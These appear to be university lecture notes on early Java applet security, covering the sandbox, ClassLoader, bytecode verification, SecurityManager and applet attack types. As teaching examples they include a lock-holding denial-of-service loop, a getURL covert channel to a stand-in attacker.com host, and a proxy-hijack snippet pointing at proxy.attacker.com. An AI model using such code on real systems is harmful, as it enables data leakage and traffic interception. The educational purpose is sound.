CS6204 - Java and the WWW

References

• Sun page on Java Security
• D. Drew, E. W. Felten, D. S. Wallach, Java Security:  From HotJava to Netscape and Beyond, Dept. of Computer Science, Princeton Univ., 1996 IEEE Symposium on Security and PRivacy, Oakland, May, 199.
• Hostile Applets Page - a collection of hostile applets that show potential for problems
• What applets can do?
• Princeton Safe Internet Programming Group
• Java Electronic Commerce Framework
• G. McGraw and E. Felten, Securing Java, Wiley; text also available on the Web
• Java Security Hotlist and Website

Background

• Downloading foreign (untrusted) applets on your machine and running them potentially opens a world of new security problems!
• Let's look at Java applet problems!

How Intriniscally Secure is Java?

• Most security problems found so far are not due to language itself, but to
• implementation errors
• unexpected interaction of browser features
• differences between Java and bytecode semantics
• However, Java language has no formal semantics or formal description of Java's type system, yet its security relies on soundness of Java's type system.
• Type system enforces rules to prevent certain calls by one object to another (e.g., to private method).
• There is no formal semantics for Java, so we cannot reason formally about security (e.g., to prove that a private variable can never be illegally accessed).
• A traditional language (e.g., C++) depends on OS to provide multiple address spaces to enforce protection, but you can access anything within your own address space by a suitable integer pointer value.

Java's Approach

What you don't want an attacker to do...

Hey, let's give you some code to download to your browser that overrights files on your disk, reads and sends over the network your most private files (and other stuff that Active-X can do)...

Sandbox Model:

• Remote code (applet) is untrusted, so

• subset of  user's computer resources dedicated to running an applet
• Applet is allowed to do anything within its sandbox
• Local code (application) is trusted

Boundaries of the sandbox defined by:

1. Language Features (e.g., avoids pointer abuse)
2. ClassLoader (First link in security chain -- enforces name space)
3. Bytecode Verification (Second link - checks conformance to Java language spec)
4. SecurityManager (when applet performs potentially dangerous operation [e.g., write a file], decides whether it's ok)
5. Networking security

Sandbox Method 1:  Language Features

• Security through being published
• source code for Java interpreter and compiler are available for inspection
  
  
• Security through being well defined
• All primitive types are guaranteed to be of specific size
• All operations are defined to be performed in a specific order
• Two correct java compilers never give different results
  
  
• Security through lack of pointer arithmetic
• pointers cannot be forged
• all references to methods and instance variables are through symbolic names
  
  
• Security through garbage collection
  
  
• Security through strict compile time checking
• strong typing
• objects cannot be cast to a subclass without a runtime check
• all references are checked if they are of the correct type
• compiler checks "security barriers" (referencing of a private variable from another class)
• Integers and objects are not interconvertible

Memory Allocation and Layout

Things that help security in Java...

• Memory layout decisions are not made at compile time.  This late binding of structures - programmers can't interfere with physical memory layout of classes.
  
  
• Compiled code references memory via symbolic "handles."
  
  
• Use of garbage collection -- explicit free provides some roundabout methods of illegal type casting.

But Java still has a potential weakness...

Programmer can find out integer address of an object via hashCode() method in all objects (unless the programmer overrides the method).

Sandbox Method 2:  ClassLoader

What you don't want an attacker to do...

Hey, let's replace the SecurityManager class in your Web browser by our own!  It will let us attackers do anything we want!

Name Spaces

• Separate "sources" of bytecode are loaded in separate naming environments.
  • Prevents accidental or maliciously duplicating names of classes.
    
    
• Bytecode loaded from local file system is visible to all applets
  
  
• There's also a "system" name space that's
• shared by all name spaces
• searched before downladed classes, to prevent downloaded classes from overriding (but this didn't always work)

ClassLoader

• Java runtime system only knows how to load local classes
  
  
• ClassLoader is an abstract class that defines an interface through which runtime system can ask a Java program to load a class.
  
  
• Subclasses of ClassLoader reconstitute bytecode for classes that arrive over the network.

Each downloaded class is tagged with the ClassLoader subclass that loaded it.

Sandbox Method 3:  Bytecode verification

What you don't want an attacker to do...

Hey, why bother to figure out how to write Java source code that attacks?  We'll just write bogus bytecode for you to download!

• Java runtime does not assume that bytecode has been generated by a friendly compiler
  
  
• Verifier checks that...

bytecode conforms to Java language

there are no violatns of Java language rules or name space restrictions

there are no stack underflows, overflows, illegal type casts, ...

no pointers are forged

methods are called with appropriate arguments of the correct type

• But java source and java bytecode have somewhat different semantics!
• Example:
• Local classes are trusted more than network-loaded classes (e.g., network-loaded classes run in their own namespace, so they cannot create replicas of local classes, like "classloader" or "securitymanager")
• In early jdk, you could start a package name with "/".
• Bytecode represents package a.b.c as a/b/c
• So a package named /a.b.c becomes in bytecode absolute file name /a/b/c.
• If attacker could somehow install file /a/b/c on your computer, then an attackng applet could use package /a.b.c to bypass network protection on class loading!

Sandbox Method 4:  SecurityManager

When Java runtime system starts, there's no security manager.  So any access throws SecurityException for all access checks.

Malicious code, in theory, can't access internals of security manager due to Java's type system.

• SecurityManager it is an abstract class
• An application can get the current SecurityManager by System.getSecurityManager()
• SecurityManager returns NULL if there is none
• SecurityManager provides checkXXX() methods
• checkCreateClassLoader()
• checkRead()
• checkWrite()
• checkExec()
• checkProperties()
• checkConnect()

Sandbox Method 5:  Java Networking Package

• Interfaces for handling different protocols
  
  
• Configurable levels of access rights
• No: disallow all network accesses
• Source: allow network access to only the hosts from which the code was imported
• Firewall: allow network accesses only outside the firewall if the code came from outside
• Unrestricted: allow all network accesses

Applet Attacks

1. Integrity attacks
• Deletion/Modification of files
• Killing processes/threads
• Modification of memory currently in use
2. Availability attacks
• Allocating large amounts memory
• Creating thousands of windows
• Creating high priority threads/processes
3. Disclosure attacks
• Mailing information about your machine
• Sending personal or company files to an adversary or competitor
4. Annoyance attacks
• Displaying obscene pictures on your screen
• Playing unwanted sounds over your computer

Security Threats

Trojan Horses

• has an overt function and a covert function
• displays animation but also discreetly searches the user's local files system and secretly emails interesting files across the network
• an applet that creates a zero-sized window remaining invisible and capturing keystrokes

Two Vs. Three Party Attacks

• two party attack requires that the Web server on which the applet resides participate
• three party attack can originate from any site and spread

Viruses

• inserts a copy of itself surreptitiously to other code

Denial of Service

• Definition:  applet acquires excessive amounts of a system resource (memory, CPU cycles)

Example:

• in HotJava browser locks status line at bottom of browser, preventing it from loading new classes
• in Netscape, locks java.net.InetAddress class, blocking all hostname lookups and hence new network connectons

synchronized (Class.forName("net.www.html.MeteredStream"))

{while (true) Thread.sleep(1000); }

• "synchronized" locks an object - preventing any other threads from using it.
• Class.forName() dynamically loads a class.
• Attack could be prevented by replacing such critical classes with wrappers that do not expose locks to outsiders.

Sneakier Denial of Service Attacks

• Attack is programmed to occur after some time delay
• User sees attack after they've switched to a different Web page!

Degradation of Service

• Example:  Lock-based attack that only holds critical resource for a while, releasing it briefly and occasionally.  Result is Web browser that runs very slowly.

Applet Attacks (Illustration)

Three Party Attack

• Charlie produces a Trojan Horse in a Java Applet
• Bob likes Charlie's applet (but doesn't know of Trojan Horse) and uses it in his page
• Alice views Bob's page
• Charlie has covert channel to Alice
• Bob can be innocent

How would Charlie get the address? See next section!

Covert Channels - Ways to Break a Firewall

Method 1:  Email

Method 2:  DNS

Request goes to attacher's DNS server.

Attacker's DNS server then lies:

• Returns 32 bytes of message in the form of IP addresses in DNS return value, creating low bandwidth channel
• Could lie about an IP address, using the same IP address as host from which applet was loaded.

Method 3:  getURL()

• Trojan horse in downloaded applet does getURL()
• Java happily lets the applet load any web page requested.  After all, web pages are safe to download, right?
• The URL named is itself a message to the attacker, like this:
http://i_run_sendmail.attacker.com/
• Attacker
• records the message "i_run_sendmail"
• redirects URL i_run_sendmail.attacker.com to some other URL (e.g., http://dummy.attacker.com), so you never know about attack!

What Information Is Available for Transmission over a Covert Channel?

• Windows95:  \TEMP directory is writable under HotJava (for storage of Access Control Lists), so applet could
• corrupt files in \TEMP, breaking other running programs, if applet knows or guesses names of other files.
• consume all free disk space!
• HotJava permits applet to learn user's login name, machine name, and all environment variables (via System.getenv()) -- including possibly what software's installed, via PATH variable
• Applet could "benchmark" machine performance, because it can access system clock (perhaps useful if you want to find out how fast a competitor's new machine is, before it's released)

---

Another attack:  redirect all HTTP and FTP requests

Java applet can use following to reset proxy server, so an attacking proxy could log or copy all files used by Web browser.

If user prints a page, this setting becomes the default and then applies to future invocations of Web browser!

hotjava.props.put("proxyHost","proxy.attacker.com");
hotjava.props.put("proxyPort", 8080);
hotjava.props.put("proxySet", "true");

Another attack:  Buffer overflows in calls to sprintf() by JDK

• Early HotJava and JDKs called sprintf() where arg is a pointer to a buffer on the execution stack.
• sprintf() doesn't check for buffer overflow.
• Attacker (familiar with jdk or HotJava source code) performs an operation that invokes sprintf() with an arg on the stack and causes overflow.
• Write done by overflow changes another frame on the execution stack.
• That transfers control to a code location of the attacker's choice!

• This was fixed in HotJava and JDK, but the JDK disassembler had the bug until the JDK 1.0 release!  That meant a programmer disassembling code could have their machine attacked.  Attacker would have put extremely long method names into the code that the programmer is disassembling!
• The sprintf() hole has been used for years.  Unix syslog() routine calls sprintf().  Attackers use sendmail, which invokes sprintf(), allowing them to take control of a machine over a network.

Another attack:  Sabotage Another Applet Running on Client

• Applets can keep running after you leave page you invoked them from.
• You want non-interference between applets.
• Applet could get access to top level ThreadGroup.  Attacking applet can enumerate every thread running in system, including threads belonging to other applets. Java runtime encodes applet's class name in its thread name, so nasty applet could learn names of other applets, and then call stop() or setPriority() on them!

Browser Security Example... Netscape

• load libraries or define native methods
• read or write files on the client side (unless there is a user-specific exception)
• make network connections except to the source host
• start another program at the client side
• cannot read some system properties
• open windows that look different from the ones the application brings up

Java Software for Security

• Java Secure Socket Extension (JSSE)
Implements secure sockets to encrypt data comunication
• Java Authentication and Authorization Service (JAAS)
Lets Java 2 code do user-based authentication and user, group, or rule-based access control.
• Java Crytography Extension
Java 2 API to let Java code encrypt and decrypt.
• Javakey for JDK 1.1 and JDK 1.2
Javakey generates keys and certificates and signs JAR files.  Supports hashig, digital signature, and generating X.509 certificates

New Developments in Java 2

Fine-grained access control in JDK 1.2

A Sample Security Policy Configuration File, stored on client machine...
codebase "http://java.sun.com/people/gong"
signedBy "aabbccddeeffgghh00112233445566"
permission java.io.File "/home/gong/.checkbook"
action "read,write"

codebase "http://java.sun.com/people/gong"
signedBy "*"
permission java.net.Net "java.sun.com:8000-9000"
action "connect"

Forget the idea that local code should be trusted!

Apply security checks to all Java classes

Protection Domains

• Instead of granting permissions (e.g., file write) to classes and objects, grant it to protection domains.  Classes and objects belong to protection domains.  The sandbox itself is a protection domain!
• You could isolate units of code within Java runtime by putting them into different protection domains.

Concluding Remarks

• There is an inevitable trade off between increase in power/flexibility and security
• A Java user may not understand the security risks